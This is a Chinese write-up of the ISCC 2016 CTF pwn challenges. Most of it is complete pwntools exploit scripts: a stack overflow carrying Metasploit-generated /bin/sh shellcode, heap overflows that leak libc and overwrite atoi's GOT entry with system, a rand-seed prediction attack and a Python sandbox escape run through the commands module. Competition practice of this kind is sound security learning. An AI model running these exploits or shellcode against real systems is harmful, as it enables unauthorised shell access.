iscc2016 pwn部分writeup

来源:http://www.cnblogs.com/Joe-Z/archive/2016/05/25/5528762.html
-Advertisement-
Play Games

一.pwn1 簡單的32位棧溢出,定位溢出點後即可寫exp shellcode保存到bss段上,然後ret返回即可: 這裡有個坑點就是shellcode的截斷問題,在exp-db上找了好多個都執行不了最後好友提醒用msf生成吧,過程如下: 二.encrypt 這是個堆溢出,由於pwn經驗很少,做出的 ...


一.pwn1

    簡單的32位棧溢出,定位溢出點後即可寫exp

gdb-peda$ r
Starting program: /usr/iscc/pwn1 
C'mon pwn me : AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x41632541 ('A%cA')
EBX: 0xb7fb6000 --> 0x1a5da8 
ECX: 0xb7fb7884 --> 0x0 
EDX: 0x1 
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff478 --> 0x0 
ESP: 0xbffff45c --> 0x8048607 (mov    eax,0x0)
EIP: 0x41632541 ('A%cA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41632541
[------------------------------------stack-------------------------------------]
0000| 0xbffff45c --> 0x8048607 (mov    eax,0x0)
0004| 0xbffff460 --> 0x80486c1 --> 0x1007325 
0008| 0xbffff464 --> 0x804a060 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
0012| 0xbffff468 --> 0x804861b (add    ebx,0x19b9)
0016| 0xbffff46c --> 0xb7fb6000 --> 0x1a5da8 
0020| 0xbffff470 --> 0x8048610 (push   ebp)
0024| 0xbffff474 --> 0x0 
0028| 0xbffff478 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41632541 in ?? ()

 

 shellcode保存到bss段上,然後ret返回即可:

#!/usr/bin/env python
from pwn import *

#p= process('./pwn1') 
p=remote('101.200.187.112',9004)

ret = 0x0804a060
ppr=0x0804866e

buf =  ""
buf += "\x89\xe0\xdd\xc7\xd9\x70\xf4\x5b\x53\x59\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
buf += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
buf += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
buf += "\x58\x50\x38\x41\x42\x75\x4a\x49\x70\x6a\x74\x4b\x62"
buf += "\x78\x5a\x39\x72\x72\x62\x46\x35\x38\x46\x4d\x42\x43"
buf += "\x4b\x39\x69\x77\x43\x58\x56\x4f\x54\x33\x45\x38\x37"
buf += "\x70\x63\x58\x54\x6f\x45\x32\x62\x49\x30\x6e\x4c\x49"
buf += "\x6b\x53\x71\x42\x5a\x48\x73\x38\x75\x50\x47\x70\x43"
buf += "\x30\x74\x6f\x65\x32\x50\x69\x50\x6e\x66\x4f\x54\x33"
buf += "\x32\x48\x43\x30\x42\x77\x56\x33\x6c\x49\x38\x61\x78"
buf += "\x4d\x6f\x70\x41\x41"


payload = buf + "A" * (256 - len(buf)) + p32(ret)
p.recvuntil(":")
p.send(payload) 
#pwnlib.gdb.attach(p)
p.interactive() 

這裡有個坑點就是shellcode的截斷問題,在exp-db上找了好多個都執行不了最後好友提醒用msf生成吧,過程如下:

msf > use linux/x86/exec
msf payload(exec) > set CMD /bin/sh
CMD => /bin/sh
msf payload(exec) > generate -b '\x00\xff\x0b' -t py

二.encrypt

這是個堆溢出,由於pwn經驗很少,做出的兩道堆溢出花的時間不少,首先定位溢出點:

程式會調用一個fastcall執行加密操作,通過溢出可以控制call指針,但是參數會有限制,不過沒關係,經過調試,用puts地址覆蓋,列印出來的就是setbuf的地址,然後就可計算atoi和system地址,atoi的got地址覆蓋堆頭索引指針,然後edit的時候可任意修改,代碼如下:

from pwn import *
import pwnlib
io=process('./encrypt')
#io=remote('101.200.187.112',9005)
def create(message):
    global io
    print io.recvuntil('4. Exit.\n')
    io.sendline('1')
    print io.recvuntil('Input your message :')
    io.sendline(message)
    print io.recvuntil('(1.No,2.Xor):')
    io.sendline('2')
    return
def edit(id,message):
    global io
    print io.recvuntil('4. Exit.\n')
    io.sendline('3')
    print io.recvuntil('Give me message id :')
    io.sendline(id)
    print io.recvuntil('Input message :')
    io.sendline(message)
    return
def encrypt():
    global io
    print io.recvuntil('4. Exit.\n')
    io.sendline('2')
    print io.recvuntil('Give me message id :')
    io.sendline('1')
    return

def main():   
    atoi_got=0x602060
    b='bbbbbbbbbb'   
    puts_addr=0x602018
    d='x'*104+p64(0x602018)   
    create('aaaaaaaaaaaa') 
    create('bbbbbbbbbbbb')    
    edit('1',d)   
    encrypt()
    io.recvuntil('Encrypting your message...\n')
    leak=io.recvuntil('\n').split('\n')[0]   
    #print leak
    leak_addr=leak.ljust(8,'\x00')
    print leak_addr
    setbuf_addr=u64(leak_addr)
    #print addr
    elfinfo=ELF('libc.so.6')
    system_offset=elfinfo.symbols["system"]    
    setbuf_offset=elfinfo.symbols["setbuf"]    
    system_addr=setbuf_addr+system_offset-setbuf_offset
    print "system_addr"+hex(system_addr)
    e='y'*104+p64(0x602060)  
    create('cccc')
    create('dddd')
    edit('1',e)
    edit('1',p64(system_addr))
    io.sendline('/bin/sh')
    io.interactive()
    return 0
if __name__ == '__main__':
    main()

三.guess

就是一個驗證隨機數的程式,通過read溢出可覆蓋變數控制seed的值,然後rand()值就可以預測

由於python和c的rand函數不是相同庫,想到的辦法就是本地寫個c程式生成可控的rand值,然後根據guess程式的演算法輸出相應的值,然後exp中輸入即可打開flag文件,c代碼如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) 
{
    int i;
        int tmpra;
        int tmprb;
        int v4;
    int out;
    int a;        
    unsigned long int seed;
    seed = atol(argv[1]);
    srand(seed);
        a=rand();
        //printf("rand0:%x",a);
        out=(a % 99999) +1;
        printf("%d,",out);
        for(i=0;i<100;i++){
             tmpra=rand();
             //printf("rand1:%x",tmpra);
             srand(tmpra);
             v4=rand() % 99999 +1;
             printf("%d,",v4);
        }        
    return 0;
}

from pwn import *
from time import time

#p=process('./guess')
p=remote('101.200.187.112',9001)
p.recvuntil("name :")
p.send('a'*44+'\n')

#seed=0xa6381cc
#rand=0x44236095
input=[80545,9914,27550,91153,83664,86214,7887,18283,53174,61984,11639,73445,333,60643,26474,44690,21086,28980,5071,67909,48736,55050,69515,81978,43669,93038,81153,37315,87517,81474,97252,39090,1696,51171,76214,73536,80801,95522,19591,94050,47416,84329,44491,71757,94530,18345,14566,95614,85330,45965,65491,97981,75077,43330,17867,99610,52953,83200,92236,50106,4908,98370,75042,31289,23534,5741,73297,96930,96565,55497,75901,69488,9730,24451,20904,88186,89446,34242,57487,22677,18298,85854,89419,12111,6258,51648,47335,3800,92937,58647,81683,38315,67822,22967,2731,95707,52191,53909,98160,48842,58249]

for i in range(0,100):
    p.recvuntil("Now guess :")
    p.send(str(input[i])+'\n')
p.interactive()

 

四.pyclac

這題不需要寫exp,nc連接即可,然後就是想辦法執行系統命令,先試下過濾的參數,發現os,open,等過濾了,又沒辦法直接導包,一開始想到eval繞過濾,然後去openflag文件,本地成功了,遠程卻沒有open功能,沒有包的原因吧,所以還得執行系統命令才行,os和subprocess的包沒有許可權導入,commans能行所以姿勢是這樣:__import__('commands').getoutput("ls"),__import__('commands').getoutput("cat flag")

五.bitshop

ida得知editshoppingnote的地方存在堆溢出,可覆蓋到第0塊的堆頭

__int64 note_sub_400DBF()
{
  __int64 v0; // ST08_8@1

  v0 = *MK_FP(__FS__, 40LL);
  printf("Input shopping note :");
  read(0, (char *)qword_602100 + 4, 0x78uLL);   // 可讀入120位元組
  puts("Shopping note recorded!");
  return *MK_FP(__FS__, 40LL) ^ v0;
}

 

一開始思路錯了,想用dwshoot去doublefree,沒成功,gdb調了很久才發現可以修改堆頭指針,於是根據fastbin的原理,溢出控制fd指針的方法可以任意記憶體讀寫,接下來就類似於encrypt,修改atoi的地址為system拿shell。

from pwn import *
import pwnlib

#io=process('./bitshop')
io=remote('101.200.187.112',9002)

def add(len,name,content):
    global io
    print io.recvuntil('Your choice $')
    io.sendline('1')
    print io.recvuntil('length:')
    io.sendline(len)
    print io.recvuntil('comment:')
    io.sendline(content)
    print io.recvuntil('name:')
    io.sendline(name)
    
    return
def edit(id,len,content):
    global io
    print io.recvuntil('Your choice $')
    io.sendline('2')
    print io.recvuntil(':')
    io.sendline(id)
    print io.recvuntil(':')
    io.sendline(len)
    print io.recvuntil('Input comment :')
    io.sendline(content)
    return
def edit_note(note):
    global io
    print io.recvuntil('Your choice $')
    io.sendline('4')
    print io.recvuntil('note :')
    io.sendline(note)
    return
def remove(id):
    print io.recvuntil('Your choice $')
    io.sendline('3')
    print io.recvuntil('id :')
    io.sendline(id)
    return
def view():
    print io.recvuntil('Your choice $')
    io.sendline('5')
    print io.recv()
    return
def main(): 
    io.recvuntil('plz input your name:')
    io.sendline('a'*33)
    print io.recvuntil('Your choice $')
    io.sendline('5')
    io.recvuntil('a'*32)
    leak=io.recvuntil('\n').split('\n')[0]
    leak_addr=leak.ljust(8,'\x00')
    
    print leak_addr
    print hex(u64(leak_addr))
    ptr=u64(leak_addr)
    print hex(ptr)  
    atoi_got=0x602088
    payload1='a'*0x5c+p64(0)+p64(0x51)+p64(atoi_got)+p64(0x51)
   
   #......leak atoi_got
    add('64','a'*10,'a'*4)    
    add('64','b'*10,'b'*4)
    remove('1')
    remove('0')  
    #pwnlib.gdb.attach(io)  
    add('64','c'*10,'cccc')
    edit_note(payload1)
    #pwnlib.gdb.attach(io)
    #add('64','d'*10,p64(atoi_got))
    view()
    io.recvuntil('Comment : ')
    atoi=io.recvuntil('\n').split('\n')[0]
    print str(atoi)
    atoi_add=atoi.ljust(8,'\x00')
    atoi_addr=u64(atoi_add)
    print atoi_addr

    #change got
    elfinfo=ELF('libc.so.6')
    system_offset=elfinfo.symbols["system"]
    print system_offset
    atoi_offset=elfinfo.symbols["atoi"]
    print atoi_offset
    system_addr=atoi_addr+system_offset-atoi_offset
    #pwnlib.gdb.attach(io)
    print hex(system_addr)
    #pwnlib.gdb.attach(io)
    edit('2','32',p64(system_addr))

    io.send('/bin/sh\n')
    io.interactive()    
if __name__ == '__main__':
    main()

五.library

這個沒有成功拿shell,c++程式的pwn的writeup比較少,搜到了某大牛的zctf pwn500: http://www.cnblogs.com/wangaohui/p/5211672.html,雖然沒能依葫蘆畫瓢,但還是受益匪淺,記錄下自己的分析過程和思路。

add_book可以多添加設定的size一個,所以溢出8位元組到下一堆頭,調試後發現可以泄露libc地址和堆地址,想到的方法是:

1.泄露出libc地址後,修改got,然而got並不能寫(為什麼呢)

2.又試著在堆塊內容里偽造presize,size,fd,bk利用溢出到下一堆塊的頭部修改下一堆塊的presize和size(這裡設定category大小為9即時可修改下一堆頭的size位,而8時只能溢出到size位),dw-shoot去利用,free前一塊後控制指針,然後可以任意編輯cate的頭部任意記憶體讀寫,這個方法還是沒有運用得嫻熟,所以沒成功,也不知道能不能行得通。

3.將計算好的system地址寫到堆內容中,然後修改堆頭的虛表指針使其指向保存system的堆地址,然後調用addbook,removebook等fastcall的時候會被劫持調用system函數,寫的exp能成功執行system,就是沒能想到怎麼傳/bin/sh。所以最終沒能成功做出這題,還是等看大神們是怎麼解的吧,這裡貼出沒成功的代碼,以便自己以後參考對比

# -*- coding: utf-8 -*
from pwn import *
import pwnlib
#io=process('./library')
io=remote('101.200.187.112',9003)

def add_cate(len):
    global io
    print io.recvuntil('Your option $')
    io.sendline('1')
    print io.recvuntil('size : ')
    io.sendline(len)

    return
def add_book(cateid,bookid):
    global io
    print io.recvuntil('Your option $')
    io.sendline('2')
    print io.recvuntil(': ')
    io.sendline(cateid)
    print io.recvuntil(':')
    io.sendline(bookid)
    return
def get_id(cateid,bookid):
    global io
    print io.recvuntil('Your option $')
    io.sendline('3')
    print io.recvuntil(': ')
    io.sendline(cateid)
    print io.recvuntil(': ')
    io.sendline(bookid)
    return
def remove_book(cateid):
    print io.recvuntil('Your option $')
    io.sendline('4')
    print io.recvuntil(': ')
    io.sendline(cateid)
    return
def remove_cate(cateid):
    print io.recvuntil('Your option $')
    io.sendline('5')
    print io.recvuntil(': ')
    io.sendline(cateid)
    return
def reset_cate(cateid,size):
    print io.recvuntil('Your option $')
    io.sendline('6')
    print io.recvuntil(': ')
    io.sendline(cateid)
    print io.recvuntil(': ')
    io.sendline(size)
    return
def main(): 


    add_cate('9')
    add_cate('9')
    remove_cate('1')
    reset_cate('0','4')
    get_id('0','1')#以上操作後就能泄露堆地址和虛表地址
    io.recvuntil('Book ID is ')
    heada=io.recvuntil('\n')
    heada=int(heada)
    print heada
    get_id('0','2')
    io.recvuntil('Book ID is ')
    headb=io.recvuntil('\n')
    headb=int(headb)
    print headb
    get_id('0','3') #show got address
    io.recvuntil('Book ID is ')
    headc=io.recvuntil('\n')
    headc=int(headc)
    print headc
    headd=headc-0x380
    heade=headb-0x80
    #pwnlib.gdb.attach(io)
    atoi_got=headc-0xc0

    add_cate('9')
    reset_cate('2','4')
    add_cate('9')
    add_book('2','0')
    add_book('2','0')
    add_book('2','0')
    add_book('2','0')
    add_book('2','0')
    add_book('2','49')
    add_book('2',str(headd))
    add_book('2','8589934594') #200000002
    add_book('2',str(atoi_got))
    get_id('3','0')
    io.recvuntil('Book ID is ')
    atoiaddr=io.recvuntil('\n')
    atoiaddr=int(atoiaddr)
    print atoiaddr
    #pwnlib.gdb.attach(io)
    
    elfinfo=ELF('/lib/x86_64-linux-gnu/libc.so.6')
    system_offset=elfinfo.symbols["system"]
    print system_offset
    atoi_offset=elfinfo.symbols["atoi"]
    print atoi_offset
    system_addr=atoiaddr+system_offset-atoi_offset
    print system_addr
    #pwnlib.gdb.attach(io)

    #pwnlib.gdb.attach(io)
    
    remove_book('2')
    remove_book('2')
    
    
    add_book('2','4')
    add_book('2',str(heade))
    #pwnlib.gdb.attach(io)
    add_book('3',str(system_addr))
    add_book('3',str(system_addr))
    add_book('3',str(system_addr))
    add_book('3',str(system_addr))
    remove_book('2')
    remove_book('2')
    remove_book('2')
    add_book('2',str(heade))
    add_book('2','‭12884901892‬')
    add_book('2','‭‭29400045130965551')#/bin/sh
    
    add_book('3','‭‭29400045130965551‬‬')
    #pwnlib.gdb.attach(io)


    io.interactive()
    return 0
if __name__ == '__main__':
    main()

 


您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • 最近在mysql主從複製中用到鎖,翻了資料回憶一下。一下內容參考於:http://blog.csdn.net/arkblue/article/details/27376991 1.FLUSH TABLES WITH READ LOCK 這個命令是全局讀鎖定,執行了命令之後所有庫所有表都被鎖定只讀。一 ...
  • --Student(S#,Sname,Sage,Ssex) 學生表 --Course(C#,Cname,T#) 課程表 --SC(S#,C#,score) 成績表 --Teacher(T#,Tname) 教師表 --問題: --1、查詢""課程比""課程成績高的所有學生的學號; select a.S... ...
  • nvarchar(max)長度測試:在使用convert強制類型轉化之後 文本長度可以突破8000的上限。並且nvarchar(max)的最大長度可達到2^31以下為驗證SQL: 不過在表中max的長度就不會那麼長了,一般限制就是4000/8000,具體數值估計是要依賴於SQLServer版本了。以 ...
  • 事務(Transaction):組織多個操作為一個整體,要麼全部執行,要麼全部不執行 “回滾” ,rollback SQL介面:sql語句分析器和優化器 表:為了滿足範式設計要求,將一個數據集分拆為多個 約束:constraint,向數據表插入的數據要遵守的限制規則 主鍵:一個或多個欄位的組合,填入 ...
  • 一、JDK安裝 1、通過xftp工具把jdk-8u60-linux-x64.gz上傳到linux 2、解壓JDK命令tar -xzf jdk-8u60-linux-x64.gz 3、linux配置環境變數vi /etc/profile JAVA_HOME=/usr/local/java/jdk1.8 ...
  • 2.1 關係資料庫的結構 關係資料庫由表(table)的集合構成,每個表有唯一的名字。例如,instructor表記錄了有關教師的信息,它有四個列首:ID、name、dept_name和salary。該表中每一行記錄了一位教師的信息,包括該教師的ID、name、dept_name以及salary。類 ...
  • LINUX的主要特點: 1、開放性:開源; 2、多用戶多任務環境; 3、良好的用戶界面:提供兩種界面,即字元界面和圖形界面(XWindow系統); 4、設備獨立性; 5、豐富的網路功能:內置TCP/IP Linux內核版本有兩種:穩定版和開發版。 Linux內核版本號的格式如下:a.bb.cc sw ...
  • 1:df 用於查看已掛載磁碟的容量信息 -i 查看inodes使用情況 -h 以合適的單位顯示 -k -m 分別以k M單位顯示 2:du 查看某個文件或者目錄占用的空間 du [-abckmsh] [文件名目錄名] du + 目錄 只會列出目錄及其子目錄的大小 du -a +目錄 會列出目錄子目錄 ...
一周排行
    -Advertisement-
    Play Games
  • 移動開發(一):使用.NET MAUI開發第一個安卓APP 對於工作多年的C#程式員來說,近來想嘗試開發一款安卓APP,考慮了很久最終選擇使用.NET MAUI這個微軟官方的框架來嘗試體驗開發安卓APP,畢竟是使用Visual Studio開發工具,使用起來也比較的順手,結合微軟官方的教程進行了安卓 ...
  • 前言 QuestPDF 是一個開源 .NET 庫,用於生成 PDF 文檔。使用了C# Fluent API方式可簡化開發、減少錯誤並提高工作效率。利用它可以輕鬆生成 PDF 報告、發票、導出文件等。 項目介紹 QuestPDF 是一個革命性的開源 .NET 庫,它徹底改變了我們生成 PDF 文檔的方 ...
  • 項目地址 項目後端地址: https://github.com/ZyPLJ/ZYTteeHole 項目前端頁面地址: ZyPLJ/TreeHoleVue (github.com) https://github.com/ZyPLJ/TreeHoleVue 目前項目測試訪問地址: http://tree ...
  • 話不多說,直接開乾 一.下載 1.官方鏈接下載: https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads 2.在下載目錄中找到下麵這個小的安裝包 SQL2022-SSEI-Dev.exe,運行開始下載SQL server; 二. ...
  • 前言 隨著物聯網(IoT)技術的迅猛發展,MQTT(消息隊列遙測傳輸)協議憑藉其輕量級和高效性,已成為眾多物聯網應用的首選通信標準。 MQTTnet 作為一個高性能的 .NET 開源庫,為 .NET 平臺上的 MQTT 客戶端與伺服器開發提供了強大的支持。 本文將全面介紹 MQTTnet 的核心功能 ...
  • Serilog支持多種接收器用於日誌存儲,增強器用於添加屬性,LogContext管理動態屬性,支持多種輸出格式包括純文本、JSON及ExpressionTemplate。還提供了自定義格式化選項,適用於不同需求。 ...
  • 目錄簡介獲取 HTML 文檔解析 HTML 文檔測試參考文章 簡介 動態內容網站使用 JavaScript 腳本動態檢索和渲染數據,爬取信息時需要模擬瀏覽器行為,否則獲取到的源碼基本是空的。 本文使用的爬取步驟如下: 使用 Selenium 獲取渲染後的 HTML 文檔 使用 HtmlAgility ...
  • 1.前言 什麼是熱更新 游戲或者軟體更新時,無需重新下載客戶端進行安裝,而是在應用程式啟動的情況下,在內部進行資源或者代碼更新 Unity目前常用熱更新解決方案 HybridCLR,Xlua,ILRuntime等 Unity目前常用資源管理解決方案 AssetBundles,Addressable, ...
  • 本文章主要是在C# ASP.NET Core Web API框架實現向手機發送驗證碼簡訊功能。這裡我選擇是一個互億無線簡訊驗證碼平臺,其實像阿裡雲,騰訊雲上面也可以。 首先我們先去 互億無線 https://www.ihuyi.com/api/sms.html 去註冊一個賬號 註冊完成賬號後,它會送 ...
  • 通過以下方式可以高效,並保證數據同步的可靠性 1.API設計 使用RESTful設計,確保API端點明確,並使用適當的HTTP方法(如POST用於創建,PUT用於更新)。 設計清晰的請求和響應模型,以確保客戶端能夠理解預期格式。 2.數據驗證 在伺服器端進行嚴格的數據驗證,確保接收到的數據符合預期格 ...